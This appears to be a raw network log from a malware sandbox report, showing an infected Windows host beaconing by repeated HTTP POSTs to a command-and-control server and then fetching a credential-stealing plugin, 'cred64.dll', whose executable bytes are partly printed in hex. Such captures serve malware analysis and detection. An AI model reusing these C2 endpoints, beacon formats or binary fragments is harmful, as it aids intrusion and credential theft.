Dec 13, 2024 08:19:24.422614098 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49818	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:24.650079966 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:24.769917011 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:26.106290102 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49823	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:26.335807085 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:26.455518961 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:27.946985960 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49829	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:28.179421902 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:28.299335003 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:29.788844109 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49835	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:30.023195028 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:30.143069983 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:31.467072964 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:30 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49837	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:31.696876049 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:31.816808939 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:33.167763948 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49843	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:33.448724031 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:33.568599939 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:34.928484917 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:34 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	49848	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:35.164915085 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:35.285150051 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:36.796763897 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:35 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	49854	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:37.195400953 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:37.315805912 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:38.826874971 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	49861	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:39.073646069 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:39.193479061 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:40.733407021 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:39 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	49867	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:40.960555077 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:41.080892086 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:42.574011087 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	49873	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:42.804467916 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:42.924310923 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:44.261926889 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	49875	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:44.494002104 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:44.615000963 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:46.104569912 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	49880	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:46.335777044 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:46.455569983 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:47.786043882 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:46 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	49886	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:48.061122894 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:48.180886984 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:49.698792934 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:48 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	49892	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:49.929240942 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:50.049201012 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:51.539170980 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:50 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	49898	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:51.773179054 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:51.893001080 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:53.417124033 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	49904	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:53.650963068 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:53.770747900 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:55.098115921 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:54 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	49905	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:55.335654974 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:55.455348015 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:56.791726112 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:55 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	49911	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:57.023049116 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:57.142934084 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:19:58.460819960 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	49917	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:19:58.733786106 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:19:58.856148958 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:00.374104977 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:19:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	49923	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:00.603835106 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:00.724796057 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:02.051659107 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	49925	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:02.288397074 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:02.408114910 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:03.729346037 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	49930	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:03.960536003 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:04.080507994 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:05.421852112 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	49936	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:05.648298025 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:05.768138885 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:07.258137941 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	49938	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:05.962958097 CET	66	OUT	GET /7vhfjke3/Plugins/cred64.dll HTTP/1.1 Host: 185.81.68.147
Dec 13, 2024 08:20:07.276977062 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 18:53:38 GMT ETag: "138c00-629173b693080" Accept-Ranges: bytes Content-Length: 1281024 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 86 e5 c9 44 c2 84 a7 17 c2 84 a7 17 c2 84 a7 17 d6 ef a3 16 d6 84 a7 17 d6 ef a4 16 d2 84 a7 17 d6 ef a2 16 73 84 a7 17 90 f1 a2 16 86 84 a7 17 90 f1 a3 16 cd 84 a7 17 90 f1 a4 16 c8 84 a7 17 d6 ef a6 16 cf 84 a7 17 c2 84 a6 17 01 84 a7 17 0e f1 ae 16 c6 84 a7 17 0e f1 a7 16 c3 84 a7 17 0e f1 58 17 c3 84 a7 17 0e f1 a5 16 c3 84 a7 17 52 69 63 68 c2 84 a7 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 82 96 5a 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 1d 00 c8 0f 00 00 38 04 00 00 00 00 00 c4 fa 0c 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$DsXRichPEdZg" 8P`~X~ `0lpp8.text `.rdata@@.dataD@.pdata`@@_RDATAt@@.rsrc v@@.relocl0x@B
Dec 13, 2024 08:20:07.276989937 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 07 63 11 00 48 8d Data Ascii: H(A HcHcH,H(+H(A HbH03HlH(H(AHbH HH(H(A Hb
Dec 13, 2024 08:20:07.277003050 CET	1236	IN	Data Raw: 48 8d 0d 70 be 12 00 e8 d3 0b 0c 00 48 8d 0d ec 8c 0f 00 48 83 c4 28 e9 9b e6 0c 00 cc cc cc 48 83 ec 28 41 b8 14 00 00 00 48 8d 15 c7 62 11 00 48 8d 0d 60 c3 12 00 e8 a3 0b 0c 00 48 8d 0d 2c 8d 0f 00 48 83 c4 28 e9 6b e6 0c 00 cc cc cc 48 83 ec Data Ascii: HpHH(H(AHbH`H,H(kH(AHbHPsHlH(;H(AHbHCHH(H(A HbHpHH(H(E3HH
Dec 13, 2024 08:20:07.277079105 CET	1236	IN	Data Raw: b8 28 00 00 00 48 8d 15 bf 60 11 00 48 8d 0d 50 bd 12 00 e8 f3 06 0c 00 48 8d 0d 6c 93 0f 00 48 83 c4 28 e9 bb e1 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 bf 60 11 00 48 8d 0d a0 c1 12 00 e8 c3 06 0c 00 48 8d 0d ac 93 0f 00 48 83 c4 Data Ascii: (H`HPHlH(H(AH`HHH(H(AH`HPHH([H(AH`HcH,H(+H(AH_`Hp3HlH(H(A
Dec 13, 2024 08:20:07.277091026 CET	1236	IN	Data Raw: 0b dd 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 e7 5d 11 00 48 8d 0d f0 b4 12 00 e8 13 02 0c 00 48 8d 0d ec 99 0f 00 48 83 c4 28 e9 db dc 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 bf 5d 11 00 48 8d 0d 40 bf 12 00 e8 e3 01 Data Ascii: H(AH]HHH(H(AH]H@H,H(H(AH]HHlH({H(AHo]HHH(KH(AHO]H0SHH(
Dec 13, 2024 08:20:07.277170897 CET	1236	IN	Data Raw: 48 8d 0d 2c a0 0f 00 48 83 c4 28 e9 2b d8 0c 00 cc cc cc 48 83 ec 28 41 b8 34 00 00 00 48 8d 15 7f 5c 11 00 48 8d 0d 50 ba 12 00 e8 33 fd 0b 00 48 8d 0d 6c a0 0f 00 48 83 c4 28 e9 fb d7 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 00 48 8d 15 87 5c Data Ascii: H,H(+H(A4H\HP3HlH(H(A(H\H HH(H(AH\HHH(H(A4Hg\H`H,H(kH(A(Ho\HPsH
Dec 13, 2024 08:20:07.277211905 CET	896	IN	Data Raw: 23 aa 12 00 e8 86 f8 0b 00 48 8d 0d 4f a9 0f 00 48 83 c4 28 e9 4e d3 0c 00 cc cc cc cc cc cc 48 8d 0d a9 a9 0f 00 e9 3c d3 0c 00 cc cc cc cc 48 83 ec 28 45 33 c0 48 8d 15 e2 b0 10 00 48 8d 0d e3 ae 12 00 e8 46 f8 0b 00 48 8d 0d ef a9 0f 00 48 83 Data Ascii: #HOH(NH<H(E3HHFHH(HIdH3fHPHPH@HPHPHHPHPH@ HP(HP8H@@HPHHPXH@`HPhHPxHHHH
